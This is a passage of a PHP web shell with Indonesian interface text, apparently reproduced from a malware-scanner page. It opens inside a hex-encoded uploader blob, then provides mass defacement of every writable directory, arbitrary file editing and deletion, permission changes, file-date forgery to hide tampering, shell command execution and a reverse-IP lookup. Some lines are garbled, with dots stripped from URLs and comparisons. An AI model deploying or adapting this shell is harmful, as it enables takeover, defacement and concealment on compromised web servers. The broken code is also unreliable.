34373436663665336534373631373336623631366533633266363237353734373436663665336533633266363636663732366433653061336333663730363837303061323436313230336432303232363632323265323236393232326532323663323232653232363532323265323235663232326532323730323232653232373532323265323237343232326532323566323232653232363332323265323236663232326532323665323232653232373432323265323236353232326532323665323232653232373432323265323237333232336230613234363232303364323032323636323232653232363932323265323236633232326532323635323232653232356632323265323236373232326532323635323232653232373432323265323235663232326532323633323232653232366632323265323236653232326532323734323232653232363532323265323236653232326532323734323232653232373332323362306132343633323033643230323237343232326532323664323232653232373032323265323235663232326532323665323232653232363132323265323236643232326532323635323233623061363936363230323836393733373336353734323832343566343634393463343535333562323736323734373536633237356432393239323037623234363132383234356634363439346334353533356232373632373437353663323735643562323736653631366436353237356432633230323436323238323435663436343934633435353335623237363237343735366332373564356232343633356432393239336236393636323032383636363936633635356636353738363937333734373332383232326532663232326532343566343634393463343535333562323736323734373536633237356435623237366536313664363532373564323932393230376236353633363836663230323234663662363532303231323233623764323036353663373336353230376236353633363836663230323234363631363936633230323132323362376437643061336633652229293b0d0a096966202824632822776b222e22776b2e222e227068222e2270222929207b0d0a09096563686f20224f4b2021223b0d0a097d0d0a7d0d0a3f3e"));
$tch($duas, $duat);
$tch($dua, $duat);
echo "[<ijo>Success</ijo>] ".$duas."<br>";
if ($sps($_POST['lokruna'], $_SERVER['DOCUMENT_ROOT']) !== false) {
$lwb = $srl($_SERVER['DOCUMENT_ROOT'], $wb, $duas);
$dual = "<a href='".$lwb."'><font color='gold'>".$lwb."</font></a><br>";
}
}
echo "<br>";
if (!empty($satul)) {
echo $satul;
}
if (!empty($dual)) {
echo $dual;
}
echo "</center>";
} else {
echo "<center>Masukkan Lokasi Document Root<br>";
echo '<form method="post"><input type="text" name="lokruna" value="'.$hsc($_GET['loknya']).'" style="cursor: pointer; border-color: #000" class="up"> ';
echo '<input type="submit" name="palepale" value="Gaskan" class="up" style="cursor: pointer"></form>';
}
die();
} elseif (isset($_GET['opsi']) && $_GET['opsi'] == "repip") {
echo "<center>";
echo "Reverse IP : <gold>".$hsc($_SERVER['SERVER_NAME'])."</gold>";
echo "<pre>".$hsc(crul("https://apihackertargetcom/reverseiplookup/?q=".$_SERVER['SERVER_NAME']))."</pre>";
echo "</center>";
die();
} elseif (isset($_GET['loknya']) && $_GET['opsi'] == "mdf") {
echo "<center>";
if (empty($_POST['palepale'])) {
echo '<form method="post">';
echo 'Dir : <input type="text" name="lokena" class="up" style="cursor: pointer; border-color: #000" value="'.$hsc($_GET['loknya']).'"><br>';
echo 'Nama File : <input type="text" name="nfil" class="up" style="cursor: pointer; border-color: #000" value="indexphp"><br><br>';
echo 'Isi File : <br><textarea class="up" cols="80" rows="20" name="isikod"></textarea><br><br>';
echo '<select name="opsina"><option value="mdf">Mass Deface</option><option value="mds">Mass Deface 2</option></select><br><br>';
echo '<input type="submit" name="palepale" value="Gaskeun" class="up" style="cursor: pointer">';
echo '</form>';
} else {
$lokena = $_POST['lokena'];
$nfil = $_POST['nfil'];
$isif = $_POST['isikod'];
echo "Dir : <gold>".$hsc($lokena)."</gold><br>";
if (!$fxt($lokena)) {
die(red("[+] Directory Tidak di Temukan !"));
}
$g = $scd($lokena);
if (isset($_POST['opsina']) && $_POST['opsina'] == "mds") {
foreach ($g as $gg) {
if (isset($gg) && $gg == || $gg == "..") {
continue;
} elseif (!$idr($gg)) {
continue;
}
if (!$isw($lokena."/".$gg)) {
echo "[<merah>Unwriteable</merah>] ".$lokena."/".$gg."<br>";
continue;
}
$loe = $lokena."/".$gg."/".$nfil;
$cf = $fgr($gg);
if ($cf == "99") {
if ($fpt($loe, $isif) !== false) {
if ($sps($gg, ) !== false) {
echo "[<ijo>Success</ijo>] ".$loe." -> <a href='//".$gg."/".$nfil."'><gold>".$gg."/".$nfil."</gold></a><br>";
} else {
echo "[<ijo>Success</ijo>] ".$loe."<br>";
}
}
}
}
echo "<hr>";
die(author());
}
foreach ($g as $gg) {
if (isset($gg) && $gg == || $gg == "..") {
continue;
} elseif (!$idr($gg)) {
continue;
}
if (!$isw($lokena."/".$gg)) {
echo "[<merah>Unwriteable</merah>] ".$lokena."/".$gg."<br>";
continue;
}
$loe = $lokena."/".$gg."/".$nfil;
if ($fpt($loe, $isif) !== false) {
echo "[<ijo>Success</ijo>] ".$loe."<br>";
} else {
echo "[<merah>Unwriteable</merah>] ".$lokena."/".$gg."<br>";
}
}
}
echo "<hr>";
echo "</center>";
die(author());
}
if (isset($_GET['lokasie'])) {
echo "<tr><td>Current File : ".$_GET['lokasie'];
echo '</tr></td></table><br/>';
echo "<pre>".$hsc($fgt($_GET['lokasie']))."</pre>";
author();
} elseif (isset($_POST['loknya']) && $_POST['pilih'] == "hapus") {
if ($idi($_POST['loknya']) && $fxt($_POST['loknya'])) {
xrd($_POST['loknya']);
if ($fxt($_POST['loknya'])) {
red("Failed to delete Directory !");
} else {
green("Delete Directory Success !");
}
} elseif ($ifi($_POST['loknya']) && $fxt($_POST['loknya'])) {
@$ulk($_POST['loknya']);
if ($fxt($_POST['loknya'])) {
red("Failed to Delete File !");
} else {
green("Delete File Success !");
}
} else {
red("File / Directory not Found !");
}
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") {
if (!isset($_POST['cemod'])) {
if ($_POST['type'] == "file") {
echo "<center>File : ".$hsc($_POST['loknya'])."<br>";
} else {
echo "<center>Dir : ".$hsc($_POST['loknya'])."<br>";
}
echo '<form method="post">
Permission : <input name="perm" type="text" class="up" size="4" maxlength="4" value="'.$sub($spr('%o', $fp($_POST['loknya'])), -4).'" />
<input type="hidden" name="loknya" value="'.$_POST['loknya'].'">
<input type="hidden" name="pilih" value="ubahmod">';
if ($_POST['type'] == "file") {
echo '<input type="hidden" name="type" value="file">';;
} else {
echo '<input type="hidden" name="type" value="dir">';;
}
echo '<input type="submit" value="Change" name="cemod" class="up" style="cursor: pointer; border-color: #fff"/>
</form><br>';
} else {
$cm = @$chm($_POST['loknya'], $ocd($_POST['perm']));
if ($cm == true) {
green("Change Mod Success !");
if ($_POST['type'] == "file") {
echo "<center>File : ".$hsc($_POST['loknya'])."<br>";
} else {
echo "<center>Dir : ".$hsc($_POST['loknya'])."<br>";
}
echo '<form method="post">
Permission : <input name="perm" type="text" class="up" size="4" maxlength="4" value="'.$sub($spr('%o', $fp($_POST['loknya'])), -4).'" />
<input type="hidden" name="loknya" value="'.$_POST['loknya'].'">
<input type="hidden" name="pilih" value="ubahmod">';
if ($_POST['type'] == "file") {
echo '<input type="hidden" name="type" value="file">';;
} else {
echo '<input type="hidden" name="type" value="dir">';;
}
echo '<input type="submit" value="Change" name="cemod" class="up" style="cursor: pointer; border-color: #fff"/>
</form><br>';
} else {
red("Change Mod Failed !");
if ($_POST['type'] == "file") {
echo "<center>File : ".$hsc($_POST['loknya'])."<br>";
} else {
echo "<center>Dir : ".$hsc($_POST['loknya'])."<br>";
}
echo '<form method="post">
Permission : <input name="perm" type="text" class="up" size="4" maxlength="4" value="'.$sub($spr('%o', $fp($_POST['loknya'])), -4).'" />
<input type="hidden" name="loknya" value="'.$_POST['loknya'].'">
<input type="hidden" name="pilih" value="ubahmod">';
if ($_POST['type'] == "file") {
echo '<input type="hidden" name="type" value="file">';;
} else {
echo '<input type="hidden" name="type" value="dir">';;
}
echo '<input type="submit" value="Change" name="cemod" class="up" style="cursor: pointer; border-color: #fff"/>
</form><br>';
}
}
} elseif (isset($_POST['loknya']) && $_POST['pilih'] == "ubahnama") {
if (isset($_POST['gantin'])) {
$namabaru = $_GET['loknya']."/".$_POST['newname'];
$ceen = "rename";
if (@$ceen($_POST['loknya'], $namabaru) === true) {
green("Change Name Success");
if ($_POST['type'] == "file") {
echo "<center>File : ".$hsc($_POST['loknya'])."<br>";
} else {
echo "<center>Dir : ".$hsc($_POST['loknya'])."<br>";
}
echo '<form method="post">
New Name : <input name="newname" type="text" class="up" size="20" value="'.$hsc($_POST['newname']).'" />
<input type="hidden" name="loknya" value="'.$_POST['newname'].'">
<input type="hidden" name="pilih" value="ubahnama">';
if ($_POST['type'] == "file") {
echo '<input type="hidden" name="type" value="file">';;
} else {
echo '<input type="hidden" name="type" value="dir">';;
}
echo '<input type="submit" value="Change" name="gantin" class="up" style="cursor: pointer; border-color: #fff"/>
</form><br>';
} else {
red("Change Name Failed");
}
} else {
if ($_POST['type'] == "file") {
echo "<center>File : ".$hsc($_POST['loknya'])."<br>";
} else {
echo "<center>Dir : ".$hsc($_POST['loknya'])."<br>";
}
echo '<form method="post">
New Name : <input name="newname" type="text" class="up" size="20" value="'.$hsc($bsn($_POST['loknya'])).'" />
<input type="hidden" name="loknya" value="'.$_POST['loknya'].'">
<input type="hidden" name="pilih" value="ubahnama">';
if ($_POST['type'] == "file") {
echo '<input type="hidden" name="type" value="file">';;
} else {
echo '<input type="hidden" name="type" value="dir">';;
}
echo '<input type="submit" value="Change" name="gantin" class="up" style="cursor: pointer; border-color: #fff"/>
</form><br>';
}
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") {
if (isset($_POST['gasedit'])) {
$edit = @$fpt($_POST['loknya'], $_POST['src']);
if ($fgt($_POST['loknya']) == $_POST['src']) {
green("Edit File Success !");
} else {
red("Edit File Failed !");
}
}
echo "<center>File : ".$hsc($_POST['loknya'])."<br><br>";
echo '<form method="post">
<textarea cols=80 rows=20 name="src">'.$hsc($fgt($_POST['loknya'])).'</textarea><br>
<input type="hidden" name="loknya" value="'.$_POST['loknya'].'">
<input type="hidden" name="pilih" value="edit">
<input type="submit" value="Edit File" name="gasedit" class="up" style="cursor: pointer; border-color: #fff"/>
</form><br>';
} elseif (isset($_POST['komends'])) {
if (isset($_POST['komend'])) {
if (isset($_GET['loknya'])) {
$lk = $_GET['loknya'];
} else {
$lk = $gcw();
}
$km = 'komend';
echo $km($_POST['komend'], $lk);
}
} elseif (isset($_POST['loknya']) && $_POST['pilih'] == "ubahtanggal") {
if (isset($_POST['tanggale'])) {
$stt = "strtotime";
$tch = "touch";
$tanggale = $stt($_POST['tanggal']);
if (@$tch($_POST['loknya'], $tanggale) === true) {
green("Change Date Success !");
$det = "date";
$ftm = "filemtime";
if ($_POST['type'] == "file") {
echo "<center>File : ".$hsc($_POST['loknya'])."<br>";
} else {
echo "<center>Dir : ".$hsc($_POST['loknya'])."<br>";
}
echo '<form method="post">
New Date : <input name="tanggal" type="text" class="up" size="20" value="'.$b.'" />
<input type="hidden" name="loknya" value="'.$_POST['loknya'].'">
<input type="hidden" name="pilih" value="ubahtanggal">';
if ($_POST['type'] == "file") {
echo '<input type="hidden" name="type" value="file">';;
} else {
echo '<input type="hidden" name="type" value="dir">';;
}
echo '<input type="submit" value="Change" name="tanggale" class="up" style="cursor: pointer; border-color: #fff"/>
</form><br>';
} else {
red("Failed to Change Date !");
}
} else {
$det = "date";
$ftm = "filemtime";
if ($_POST['type'] == "file") {
echo "<center>File : ".$hsc($_POST['loknya'])."<br>";
} else {
echo "<center>Dir : ".$hsc($_POST['loknya'])."<br>";
}
echo '<form method="post">
New Date : <input name="tanggal" type="text" class="up" size="20" value="'.$b.'" />
<input type="hidden" name="loknya" value="'.$_POST['loknya'].'">
<input type="hidden" name="pilih" value="ubahtanggal">';
if ($_POST['type'] == "file") {
echo '<input type="hidden" name="type" value="file">';;
} else {
echo '<input type="hidden" name="type" value="dir">';;
}
echo '<input type="submit" value="Change" name="tanggale" class="up" style="cursor: pointer; border-color: #fff"/>
</form><br>';
}
} elseif (isset($_POST['loknya']) && $_POST['pilih'] == "dunlut") {
$dunlute = $_POST['loknya'];
if ($fxt($dunlute) && isset($dunlute)) {
if ($ird($dunlute)) {
dunlut($dunlute);
} elseif ($idr($fl)) {
red("That is Directory, Not File -_-");
} else {
red("File is Not Readable !");
}
} else {
red("File Not Found !");
}
} elseif (isset($_POST['loknya']) && $_POST['pilih'] == "folder") {
if ($isw("./") || $ird("./")) {
$loke = $_POST['loknya'];
if (isset($_POST['buatfolder'])) {
$buatf = $mkd($loke."/".$_POST['folderbaru']);
if ($buatf == true) {
green("Folder <b>".$hsc($_POST['folderbaru'])."</b> Created !");
echo '<form method="post"><center>Folder : <input type="text" name="folderbaru" class="up"> <input type="submit" name="buatFolder" value="Create Folder" class="up" style="cursor: pointer; border-color: #fff"><br><br></center>';
echo '<input type="hidden" name="loknya" value="'.$_POST['loknya'].'">
<input type="hidden" name="pilih" value="Folder"></form>';
} else {
red("Failed to Create folder !");
echo '<form method="post"><center>Folder : <input type="text" name="folderbaru" class="up"> <input type="submit" name="buatFolder" value="Create Folder" class="up" style="cursor: pointer; border-color: #fff"><br><br></center>';
echo '<input type="hidden" name="loknya" value="'.$_POST['loknya'].'">
<input type="hidden" name="pilih" value="Folder"></form>';
}
} else {
echo '<form method="post"><center>Folder : <input type="text" name="folderbaru" class="up"> <input type="submit" name="buatFolder" value="Create Folder" class="up" style="cursor: pointer; border-color: #fff"><br><br></center>';
echo '<input type="hidden" name="loknya" value="'.$_POST['loknya'].'"><input type="hidden" name="pilih" value="Folder"></form>';
}
}
} elseif (isset($_POST['loknya']) && $_POST['pilih'] == "file") {
if ($isw("./") || $isr("./")) {
$loke = $_POST['loknya'];
if (isset($_POST['buatfile'])) {
$buatf = $fpt($loke."/".$_POST['filebaru'], "");
if ($fxt($loke."/".$_POST['filebaru'])) {
green("File <b>".$hsc($_POST['filebaru'])."</b> Created !");
echo '<form method="post"><center>Filename : <input type="text" name="filebaru" class="up"> <input type="submit" name="buatfile" value="Create File" class="up" style="cursor: pointer; border-color: #fff"><br><br></center>';
echo '<input type="hidden" name="loknya" value="'.$_POST['loknya'].'">
<input type="hidden" name="pilih" value="file"></form>';
} else {
red("Failed to Create File !");
echo '<form method="post"><center>Filename : <input type="text" name="filebaru" class="up"> <input type="submit" name="buatfile" value="Create File" class="up" style="cursor: pointer; border-color: #fff"><br><br></center>';
echo '<input type="hidden" name="loknya" value="'.$_POST['loknya'].'">
<input type="hidden" name="pilih" value="file"></form>';
}
} else {
echo '<form method="post"><center>Filename : <input type="text" name="filebaru" class="up"> <input type="submit" name="buatfile" value="Create File" class="up" style="cursor: pointer; border-color: #fff"><br><br></center>';
echo '<input type="hidden" name="loknya" value="'.$_POST['loknya'].'"><input type="hidden" name="pilih" value="file"></form>';
}
}
}
echo '<div id="content"><table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">
<tr class="first">
<td><center>Name</center></td>
<td><center>Size</center></td>
<td><center>Last Modified</center></td>
<td><center>Owner / Group</center></td>
<td><center>Permissions</center></td>
<td><center>Options</center></td>
</tr>';
echo "<tr>";
$euybrekw = $srl($bsn($lokasi), "", $lokasi);
$euybrekw = $srl("//", "/", $euybrekw);
echo "<td><i class='fa fa-folder' style='color: #ffe9a2'></i> <a href=\"?loknya=".$euybrekw."\">..</a></td>
<td><center>--</center></td>
<td><center>".fdt($euybrekw)."</center></td>
<td><center>".gor($euybrekw)." / ".ggr($euybrekw)."</center></td>
<td><center>";
if($isw($euybrekw)) echo '<font color="green">';
elseif(!$isr($euybrekw)) echo '<font color="red">';
echo statusnya($euybrekw);
if($isw($euybrekw) || !$isr($euybrekw)) echo '</font>';
echo "</center></td>
<td><center><form method=\"POST\" action=\"?pilihan&loknya=$lokasi\">
<input type=\"hidden\" name=\"type\" value=\"dir\">
<input type=\"hidden\" name=\"loknya\" value=\"$lokasi/\">
<button type='submit' class='btf' name='pilih' value='folder'><i class='fa fa-folder' style='color: #fff'></i></button>
<button type='submit' class='btf' name='pilih' value='file'><i class='fa fa-file' style='color: #fff'></i></button>
</form></center>";
echo "</tr>";
foreach($lokasinya as $ppkcina){
$euybre = $lokasi."/".$ppkcina;
$euybre = $srl("//", "/", $euybre);
if(!$idi($euybre) || $ppkcina == || $ppkcina == '..') continue;
echo "<tr>";
echo "<td><i class='fa fa-folder' style='color: #ffe9a2'></i> <a href=\"?loknya=".$euybre."\">".$ppkcina."</a></td>
<td><center>--</center></td>
<td><center>".fdt($euybre)."</center></td>
<td><center>".gor($euybre)." / ".ggr($euybre)."</center></td>
<td><center>";
if($isw($euybre)) echo '<font color="green">';
elseif(!$isr($euybre)) echo '<font color="red">';
echo statusnya($euybre);
if($isw($euybre) || !$isr($euybre)) echo '</font>';
echo "</center></td>
<td><center><form method=\"POST\" action=\"?pilihan&loknya=$lokasi\">
<input type=\"hidden\" name=\"type\" value=\"dir\">
<input type=\"hidden\" name=\"name\" value=\"$ppkcina\">
<input type=\"hidden\" name=\"loknya\" value=\"$lokasi/$ppkcina\">
<button type='submit' class='btf' name='pilih' value='ubahnama'><i class='fa fa-pencil' style='color: #fff'></i></button>
<button type='submit' class='btf' name='pilih' value='ubahtanggal'><i class='fa fa-calendar' style='color: #fff'></i></button>
<button type='submit' class='btf' name='pilih' value='ubahmod'><i class='fa fa-gear' style='color: #fff'></i></button>
<button type='submit' class='btf' name='pilih' value='hapus'><i class='fa fa-trash' style='color: #fff'></i></button>
</form></center></td>
</tr>";
}
echo '<tr class="first"><td></td><td></td><td></td><td></td><td></td><td></td></tr>';
$skd = "1024";
foreach($lokasinya as $mekicina) {
$euybray = $lokasi."/".$mekicina;
if(!$ifi("$lokasi/$mekicina")) continue;
$size = $fsz("$lokasi/$mekicina")/$skd;
$size = $rd($size,3);
if($size >= $skd){
$size = $rd($size/$skd,2).' MB';
} else {
$size = $size.' KB';
}
echo "<tr>
<td>".cfn($euybray)." <a href=\"?lokasie=$lokasi/$mekicina&loknya=$lokasi\">$mekicina</a></td>
<td><center>".$size."</center></td>
<td><center>".fdt($euybray)."</center></td>
<td><center>".gor($euybray)." / ".ggr($euybray)."</center></td>
<td><center>";
if($isw("$lokasi/$mekicina")) echo '<font color="green">';
elseif(!$isr("$lokasi/$mekicina")) echo '<font color="red">';
echo statusnya("$lokasi/$mekicina");
if($isw("$lokasi/$mekicina") || !$isr("$lokasi/$mekicina")) echo '</font>';
echo "</center></td><td><center>
<form method=\"post\" action=\"?pilihan&loknya=$lokasi\">
<button type='submit' class='btf' name='pilih' value='edit'><i class='fa fa-edit' style='color: #fff'></i></button>
<button type='submit' class='btf' name='pilih' value='ubahnama'><i class='fa fa-pencil' style='color: #fff'></i></button>
<button type='submit' class='btf' name='pilih' value='ubahtanggal'><i class='fa fa-calendar' style='color: #fff'></i></button>
<button type='submit' class='btf' name='pilih' value='ubahmod'><i class='fa fa-gear' style='color: #fff'></i></button>
<button type='submit' class='btf' name='pilih' value='dunlut'><i class='fa fa-download' style='color: #fff'></i></button>
<button type='submit' class='btf' name='pilih' value='hapus'><i class='fa fa-trash' style='color: #fff'></i></button>
<input type=\"hidden\" name=\"type\" value=\"file\">
<input type=\"hidden\" name=\"name\" value=\"$mekicina\">
<input type=\"hidden\" name=\"loknya\" value=\"$lokasi/$mekicina\">
</form></center></td>
</tr>";
}
echo '</tr></td></table></table>';
author();
function statusnya($fl){
$a = "substr";
$c = "fileperms";
$izin = $a($b('%o', $c($fl)), -4);
return $izin;
}
© 2011 to 2025 Wordfence — Visit Wordfencecom for help, security updates and more.
© 2023 Quttera Ltd. All rights reserved.